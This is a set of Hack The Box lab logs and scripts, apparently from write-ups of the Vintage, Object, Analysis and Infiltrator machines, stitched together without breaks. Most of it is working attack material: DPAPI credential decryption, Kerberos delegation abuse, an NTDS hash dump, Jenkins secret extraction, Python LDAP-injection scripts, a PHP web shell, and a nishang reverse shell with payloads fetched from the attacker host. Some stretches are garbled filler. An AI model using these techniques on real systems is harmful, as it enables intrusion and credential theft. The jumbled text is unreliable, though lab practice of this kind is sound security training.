*Evil-WinRM* PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials> attrib -h -s C4BB96844A5C9DD45D5B6A9859252BA6
*Evil-WinRM* PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials> download C4BB96844A5C9DD45D5B6A9859252BA6
Info: Downloading C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\C4BB96844A5C9DD45D5B6A9859252BA6 to C4BB96844A5C9DD45D5B6A9859252BA6
Info: Download successful!*Evil-WinRM* PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115> ls -force
Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 6/7/2024 1:17 PM 740 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
-a-hs- 6/7/2024 1:17 PM 740 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
-a-hs- 6/7/2024 1:17 PM 904 BK-VINTAGE
-a-hs- 6/7/2024 1:17 PM 24 Preferred
*Evil-WinRM* PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115> attrib -h -s 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
*Evil-WinRM* PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115> download 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Info: Downloading C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b to 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Info: Download successful!❯ impacket-dpapi masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password 'Zer0the0ne'
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags : 0 (0)
Policy : 0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a❯ impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23+00:00
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000001 (CRED_TYPE_GENERIC)
Target : LegacyGeneric:target=admin_acc
Description :
Unknown :
Username : vintage\c.neri_adm
Unknown : Uncr4ck4bl3P4ssW0rd0312❯ nxc ldap "$FQDN" -u 'c.neri_adm' -p 'Uncr4ck4bl3P4ssW0rd0312' -k
LDAP dc01.vintage.htb 389 DC01 [*] None (name:DC01) (domain:vintage.htb)
LDAP dc01.vintage.htb 389 DC01 [+] vintage.htb\c.neri_adm:Uncr4ck4bl3P4ssW0rd0312❯ impacket-getTGT vintage.htb/c.neri_adm:Uncr4ck4bl3P4ssW0rd0312 -dc-ip "$IP"
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in c.neri_adm.ccache
❯ export KRB5CCNAME=$(pwd)/c.neri_adm.ccache
❯ klist
Ticket cache: FILE:/home/gzzcoo/Desktop/HackTheBox/Labs/Windows/AD/Vintage/content/c.neri_adm.ccache
Default principal: c.neri_adm@VINTAGE.HTB
Valid starting Expires Service principal
04/25/2025 03:58:01 04/25/2025 13:58:01 krbtgt/VINTAGE.HTB@VINTAGE.HTB
renew until 04/26/2025 03:55:24❯ impacket-getTGT vintage.htb/GMSA01$ -hashes aad3b435b51404eeaad3b435b51404ee:b3a15bbdfb1c53238d4b50ea2c4d1178 -dc-ip "$IP"
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in GMSA01$.ccache
❯ export KRB5CCNAME=$(pwd)/'GMSA01$.ccache'
❯ klist
Ticket cache: FILE:/home/gzzcoo/Desktop/HackTheBox/Labs/Windows/AD/Vintage/content/GMSA01$.ccache
Default principal: GMSA01$@VINTAGE.HTB
Valid starting Expires Service principal
04/25/2025 04:01:52 04/25/2025 14:01:52 krbtgt/VINTAGE.HTB@VINTAGE.HTB
renew until 04/26/2025 03:59:15❯ impacket-getTGT vintage.htb/P.Rosa:'Rosaisbest123' -dc-ip "$IP"
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in P.Rosa.ccache
❯ export KRB5CCNAME=$(pwd)/P.Rosa.ccache
❯ klist
Ticket cache: FILE:/home/gzzcoo/Desktop/HackTheBox/Labs/Windows/AD/Vintage/content/P.Rosa.ccache
Default principal: P.Rosa@VINTAGE.HTB
Valid starting Expires Service principal
04/25/2025 04:02:40 04/25/2025 14:02:40 krbtgt/VINTAGE.HTB@VINTAGE.HTB
renew until 04/26/2025 04:00:03❯ impacket-getTGT vintage.htb/svc_sql:'Zer0the0ne' -dc-ip "$IP"
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in svc_sql.ccache
❯ export KRB5CCNAME=$(pwd)/svc_sql.ccache
❯ klist
Ticket cache: FILE:/home/gzzcoo/Desktop/HackTheBox/Labs/Windows/AD/Vintage/content/svc_sql.ccache
Default principal: svc_sql@VINTAGE.HTB
Valid starting Expires Service principal
04/25/2025 04:05:00 04/25/2025 14:05:00 krbtgt/VINTAGE.HTB@VINTAGE.HTB
renew until 04/26/2025 04:02:23❯ impacket-getST vintage.htb/svc_sql:'Zer0the0ne' -k -no-pass -dc-ip "$IP" -spn 'cifs/dc01.vintage.htb' -impersonate l.bianchi_adm
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating l.bianchi_adm
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in l.bianchi_adm@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache❯ export KRB5CCNAME=$(pwd)/l.bianchi_adm@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
❯ klist
Ticket cache: FILE:/home/gzzcoo/Desktop/HackTheBox/Labs/Windows/AD/Vintage/content/l.bianchi_adm@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
Default principal: l.bianchi_adm@vintage.htb
Valid starting Expires Service principal
04/25/2025 04:07:46 04/25/2025 14:05:00 cifs/dc01.vintage.htb@VINTAGE.HTB
renew until 04/26/2025 04:02:23
❯ impacket-wmiexec "$FQDN" -k -no-pass
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>type C:\Users\Administrator\Desktop\root.txt
5cc5*******************dfe0ecb2d❯ impacket-getTGT vintage.htb/c.neri_adm:Uncr4ck4bl3P4ssW0rd0312 -dc-ip "$IP"
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in c.neri_adm.ccache
❯ export KRB5CCNAME=$(pwd)/c.neri_adm.ccache
❯ klist
Ticket cache: FILE:/home/gzzcoo/c.neri_adm.ccache
Default principal: c.neri_adm@VINTAGE.HTB
Valid starting Expires Service principal
04/26/2025 17:35:17 04/27/2025 03:35:17 krbtgt/VINTAGE.HTB@VINTAGE.HTB
renew until 04/27/2025 17:35:49
❯ bloodyAD -d vintage.htb --host "$FQDN" -k add groupMember 'DELEGATEDADMINS' 'fs01$'
[+] fs01$ added to DELEGATEDADMINS
❯ impacket-getTGT vintage.htb/'fs01$':fs01 -dc-ip "$IP"
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in fs01$.ccache
❯ export KRB5CCNAME=$(pwd)/'fs01$.ccache'
❯ impacket-getST vintage.htb/'fs01$':'fs01' -dc-ip "$IP" -spn 'cifs/dc01.vintage.htb' -impersonate l.bianchi_adm
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating l.bianchi_adm
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in l.bianchi_adm@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
❯ KRB5CCNAME=l.bianchi_adm@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache impacket-wmiexec "$FQDN" -k -no-pass
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
vintage\l.bianchi_adm
C:\>type C:\Users\Administrator\Desktop\root.txt
f13***********************d7b3760❯ impacket-secretsdump vintage.htb/l.bianchi_adm@"$FQDN" -k -no-pass -just-dc-ntlm
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:468c7497513f8243b59980f2240a10de:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:be3d376d906753c7373b15ac460724d8:::
M.Rossi:1111:aad3b435b51404eeaad3b435b51404ee:8e5fc7685b7ae019a516c2515bbd310d:::
R.Verdi:1112:aad3b435b51404eeaad3b435b51404ee:42232fb11274c292ed84dcbcc200db57:::
L.Bianchi:1113:aad3b435b51404eeaad3b435b51404ee:de9f0e05b3eaa440b2842b8fe3449545:::
G.Viola:1114:aad3b435b51404eeaad3b435b51404ee:1d1c5d252941e889d2f3afdd7e0b53bf:::
C.Neri:1115:aad3b435b51404eeaad3b435b51404ee:cc5156663cd522d5fa1931f6684af639:::
P.Rosa:1116:aad3b435b51404eeaad3b435b51404ee:8c241d5fe65f801b408c96776b38fba2:::
svc_sql:1134:aad3b435b51404eeaad3b435b51404ee:cc5156663cd522d5fa1931f6684af639:::
svc_ldap:1135:aad3b435b51404eeaad3b435b51404ee:458fd9b330df2eff17c42198627169aa:::
svc_ark:1136:aad3b435b51404eeaad3b435b51404ee:1d1c5d252941e889d2f3afdd7e0b53bf:::
C.Neri_adm:1140:aad3b435b51404eeaad3b435b51404ee:91c4418311c6e34bd2e9a3bda5e96594:::
L.Bianchi_adm:1141:aad3b435b51404eeaad3b435b51404ee:6b751449807e0d73065b0423b64687f0:::
DC01$:1002:aad3b435b51404eeaad3b435b51404ee:2dc5282ca43835331648e7e0bd41f2d5:::
gMSA01$:1107:aad3b435b51404eeaad3b435b51404ee:b3a15bbdfb1c53238d4b50ea2c4d1178:::
FS01$:1108:aad3b435b51404eeaad3b435b51404ee:44a59c02ec44a90366ad1d0f8a781274:::
[*] Cleaning up... nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.132 -oG allPortsnmap -sCV -p80,5985,8080 10.10.11.132 -A -oN targeted -oX targetedXMLxsltproc targetedXML > index.html
python3 -m http.server 80netexec winrm 10.10.11.132whatweb http://object.local
whatweb http://object.local:8080cmd / "whoami"curl -s -X GET "http://object.local:8080/job/test/build/?token=myToken" | html2textcmd / c "ipconfig"curl -s -X GET "http://gzzcoo:113c955570ab537e5efd71bb3c2389c12c@object.local:8080/job/test/build/?token=myToken"ls
python3 -m http.server 80cmd /c "PowerShell -c IWR -Uri http://10.10.16.7/nc.exe -Outfile C:\ProgramData\nc.exe"powershell -c Get-NetFirewallRule -Direction Outbound -Enabled True -Action Blockpowershell -c "Get-NetFirewallRule -Direction Outbound -Action Block -Enabled True | Format-Table -Property Name,DisplayName,DisplayGroup,@{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}},@{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Enabled,Profile,Direction,Action"powershell -c Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allowpowershell -c "ping 10.10.16.7"
tcpdump -i tun0 icmp -npowershell -c "ls ../../"powershell -c "ls ../../users"powershell -c "ls ../../users/admin_17207690984073220035"powershell -c "cat ../../users/admin_17207690984073220035/config.xml"powershell -c "ls ../../secrets"powershell -c "cat ../../secrets/master.key"wc -c master.key
cat master.key | tr -d '\n' | wc -c
cat master.key | tr -d '\n' | sponge master.key
wc -c master.key
catnp master.key ; echopowershell -c "cat ../../secrets/hudson.util.Secret"powershell -c [convert]::ToBase64String((cat ..\..\secrets\hudson.util.Secret -Encoding byte))echo 'gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHOkX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2LAORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzcpBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA=' | base64 -d > hudson.util.Secret
ls -l hudson.util.Secretcurl -L \
"https://github.com/hoto/jenkins-credentials-decryptor/releases/download/1.2.2/jenkins-credentials-decryptor_1.2.2_$(uname -s)_$(uname -m)" \
-o jenkins-credentials-decryptor
chmod +x jenkins-credentials-decryptor./jenkins-credentials-decryptor./jenkins-credentials-decryptor -m master.key -s hudson.util.Secret -c config.xmlnetexec winrm 10.10.11.132 -u 'oliver' -p 'c1cdfun_d2434'evil-winrm -i 10.10.11.132 -u 'oliver' -p 'c1cdfun_d2434'.\SharpHound.exe -c all$UserPassword = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
Set-DomainUserPassword -Identity smith -AccountPassword $UserPasswordnetexec winrm 10.10.11.132 -u 'smith' -p 'Password01!'
evil-winrm -i 10.10.11.132 -u 'smith' -p 'Password01!'Get-DomainUser 'maria' | Select serviceprincipalname
Set-DomainObject -Identity 'maria' -Set @{serviceprincipalname='nonexistent/BLAHBLAH'}
$User = Get-DomainUser 'maria'
$User | Get-DomainSPNTicket | flecho "ls C:\Users\Maria\Desktop > C:\ProgramData\test\output.txt" > test.ps1
Set-DomainObject -Identity maria -SET @{scriptpath='C:\ProgramData\test\test.ps1'}
dir
type output.txtecho "copy C:\Users\Maria\Desktop\Engines.xls C:\ProgramData\test\" > test.ps1
dir
download Engines.xlsls -l Engines.xls
libreoffice Engines.xlsnxc winrm 10.10.11.132 -u 'maria' -p passwords.txt
evil-winrm -i 10.10.11.132 -u 'maria' -p 'W3llcr4ft3d_4cls'Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria'
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'
net user maria /domainevil-winrm -i 10.10.11.132 -u 'maria' -p 'W3llcr4ft3d_4cls'nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.11.250 -oG allPortsnmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,3306,5985,9389,33060,47001,49664,49665,49666,49667,49671,49674,49675,49678,49679,49696,49709 10.10.11.250 -A -oN targeted -oX targetedXMLxsltproc targetedXML > index.html
python3 -m http.server 80ldapsearch -x -H ldap://10.10.11.250 -s base | grep defaultNamingContext
netexec smb 10.10.11.250catnp /etc/hosts | grep analysis.htbdig ns @10.10.11.250 analysis.htb
dig @10.10.11.250 analysis.htb
dig axfr @10.10.11.250 analysis.htbgobuster dir -u http://analysis.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtwfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.analysis.htb" http://analysis.htbcatnp /etc/hosts | grep analysis.htbgobuster dir -u http://internal.analysis.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200gobuster dir -u http://internal.analysis.htb/users/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x phpgobuster dir -u http://internal.analysis.htb/employees/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x phpwfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt 'http://internal.analysis.htb/users/list.php?FUZZ=test'wfuzz -c --hc=404 --hh=17 -t 200 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt 'http://internal.analysis.htb/users/list.php?FUZZ=test'kerbrute userenum --dc 10.10.11.250 -d analysis.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txtrpcclient -U "" -N 10.10.11.250
netexec smb 10.10.11.250 -u 'guest' -p '' --rid-bruteimpacket-GetNPUsers -no-pass -usersfile users.txt analysis.htb/ 2>/dev/null#!/usr/bin/env python3
import requests
import re
import signal
import pdb
import time
import sys
from termcolor import colored
from pwn import *
def def_handler(sig, frame):
print(colored(f"\n\n[!] Saliendo...\n", 'red'))
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
main_url = 'http://internal.analysis.htb/users/list.php?name='
characters = string.ascii_lowercase
def ldapInjection():
p1 = log.progress("LDAP Injection")
p1.status("Starting LDAP Injection")
time.sleep(2)
for first_character in characters:
for second_character in characters:
p1.status(main_url + f"{first_character}{second_character}*")
r = requests.get(main_url + f"{first_character}{second_character}*")
username = re.findall(r'<strong>(.*?)</strong>', r.text)[0]
if "CONTACT_" not in username:
print(colored(f"[+] Valid user: {colored(username, 'blue')}", 'yellow'))
if __name__ == '__main__':
ldapInjection()python3 ldap_injection.pyimpacket-GetNPUsers -no-pass -usersfile users.txt analysis.htb/ 2>/dev/nullnetexec smb 10.10.11.250 -u users.txt -p users.txt --no-bruteforce --continue-on-successnetexec smb 10.10.11.250 -u users.txt -p users.txt --continue-on-success#!/usr/bin/env python3
import requests
import re
import signal
import pdb
import time
import sys
from termcolor import colored
from pwn import *
def def_handler(sig, frame):
print(colored(f"\n\n[!] Saliendo...\n", 'red'))
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
main_url = 'http://internal.analysis.htb/users/list.php?name='
characters = string.ascii_lowercase + string.ascii_uppercase + string.digits
def ldapInjection():
p1 = log.progress("LDAP Injection")
p1.status("Starting LDAP Injection")
users = ['jdoe','ajohnson','cwilliams','wsmith','jangel','technician','amanson','badam','lzen']
p2 = log.progress("Username")
p3 = log.progress("Description")
for user in users:
p2.status(f"Enumerating {user} description")
for character in characters:
p1.status(main_url + f"{user})(description={character}*")
r = requests.get(main_url + f"{user})(description={character}*")
username = re.findall(r'<strong>(.*?)</strong>', r.text)[0]
if user in username:
p3.status(character)
time.sleep(10)
break
if __name__ == '__main__':
ldapInjection()python3 enum_users_description_ldap_injection.py#!/usr/bin/env python3
import requests
import re
import signal
import pdb
import time
import sys
import string
from termcolor import colored
from pwn import *
def def_handler(sig, frame):
print(colored(f"\n\n[!] Saliendo...\n", 'red'))
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
main_url = 'http://internal.analysis.htb/users/list.php?name='
characters = string.ascii_lowercase + string.ascii_uppercase + string.digits + '.*&$€?!¿¡%@#'
def ldapInjection():
p1 = log.progress("LDAP Injection")
p1.status("Starting LDAP Injection")
time.sleep(2)
p2 = log.progress("Description")
description = ""
for position in range(30):
for character in characters:
try:
p1.status(main_url + f"technician)(description={description}{character}*")
r = requests.get(main_url + f"technician)(description={description}{character}*")
username = re.findall(r'<strong>(.*?)</strong>', r.text)[0]
if "technician" in username:
description += character
p2.status(character)
break
except:
description += character
p2.status(character)
break
if __name__ == '__main__':
ldapInjection()python3 user_technician_description_ldap_injection.pynetexec smb 10.10.11.250 -u technician -p '97NTtl*4QP96Bv'
netexec winrm 10.10.11.250 -u technician -p '97NTtl*4QP96Bv'netexec smb 10.10.11.250 -u technician -p '97NTtl*4QP96Bv' --rid-brutenetexec smb 10.10.11.250 -u technician -p '97NTtl*4QP96Bv' --rid-brute | grep SidTypeUser | rev | awk {'print $2'} | rev | sed 's/ANALYSIS\\//g'
netexec smb 10.10.11.250 -u technician -p '97NTtl*4QP96Bv' --rid-brute | grep SidTypeUser | rev | awk {'print $2'} | rev | sed 's/ANALYSIS\\//g' >> users.txtsort users.txt | uniq | sponge users.txt
catnp users.txtimpacket-GetNPUsers -no-pass -usersfile users.txt analysis.htb/ 2>/dev/nullldapdomaindump -u 'analysis.htb\technician' -p '97NTtl*4QP96Bv' 10.10.11.250 -o ldap<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>gobuster dir -u http://internal.analysis.htb/dashboard/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200rlwrap -cAr nc -nlvp 443cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 .
mv Invoke-PowerShellTcp.ps1 PS.ps1
nvim PS.ps1
catnp PS.ps1 | tail -n 1
python3 -m http.server 80python3 -m http.server 80
certutil.exe -f -urlcache -split http://10.10.14.14/winPEASx64.exe winPEAS.exenetexec smb 10.10.11.250 -u jdoe -p '7y4Z4^*y9Zzj'
netexec winrm 10.10.11.250 -u jdoe -p '7y4Z4^*y9Zzj'evil-winrm -i 10.10.11.250 -u jdoe -p '7y4Z4^*y9Zzj'findstr dynamicpreprocessor *
cd C:\Snort\lib\
icacls snort_dynamicpreprocessor
cd snort_dynamicpreprocessor❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.11.31 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-17 16:04 CET
Nmap scan report for 10.10.11.31
Host is up (0.055s latency).
Not shown: 65513 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
15220/tcp open unknown
49666/tcp open unknown
49688/tcp open unknown
49690/tcp open unknown
49692/tcp open unknown
49723/tcp open unknown
49740/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 188.34 seconds




















































extractPorts, la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.allPortsallPorts
























































❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.129.26.136 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-23 15:55 CET
Initiating SYN Stealth Scan at 15:55
Scanning 10.129.26.136 [65535 ports]
Discovered open port 22/tcp on 10.129.26.136
Discovered open port 5000/tcp on 10.129.26.136
Completed SYN Stealth Scan at 15:55, 15.14s elapsed (65535 total ports)
Nmap scan report for 10.129.26.136
Host is up, received user-set (0.069s latency).
Scanned at 2025-03-23 15:55:37 CET for 15s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
5000/tcp open upnp syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.26 seconds
Raw packets sent: 66061 (2.907MB) | Rcvd: 66068 (2.643MB)
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.31
[*] Open ports: 53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,15220,49666,49688,49690,49692,49723,49740
[*] Ports copied to clipboard❯ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,15220,49666,49688,49690,49692,49723,49740 10.10.11.31 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-17 17:56 CET
Nmap scan report for dc01.infiltrator.htb (10.10.11.31)
Host is up (0.067s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Infiltrator.htb
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-17 16:56:21Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-17T16:59:39+00:00; -9s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-17T16:59:39+00:00; -9s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-17T16:59:39+00:00; -9s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
|_ssl-date: 2025-01-17T16:59:39+00:00; -9s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-01-17T16:59:39+00:00; -9s from scanner time.
| rdp-ntlm-info:
| Target_Name: INFILTRATOR
| NetBIOS_Domain_Name: INFILTRATOR
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: infiltrator.htb
| DNS_Computer_Name: dc01.infiltrator.htb
| DNS_Tree_Name: infiltrator.htb
| Product_Version: 10.0.17763
|_ System_Time: 2025-01-17T16:58:59+00:00
| ssl-cert: Subject: commonName=dc01.infiltrator.htb
| Not valid before: 2025-01-16T14:59:08
|_Not valid after: 2025-07-18T14:59:08
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
15220/tcp open unknown
49666/tcp open msrpc Microsoft Windows RPC
49688/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49690/tcp open msrpc Microsoft Windows RPC
49692/tcp open msrpc Microsoft Windows RPC
49723/tcp open msrpc Microsoft Windows RPC
49740/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-01-17T16:59:02
|_ start_date: N/A
|_clock-skew: mean: -8s, deviation: 0s, median: -9s
TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 85.41 ms 10.10.16.1
2 85.45 ms dc01.infiltrator.htb (10.10.11.31)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 206.88 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
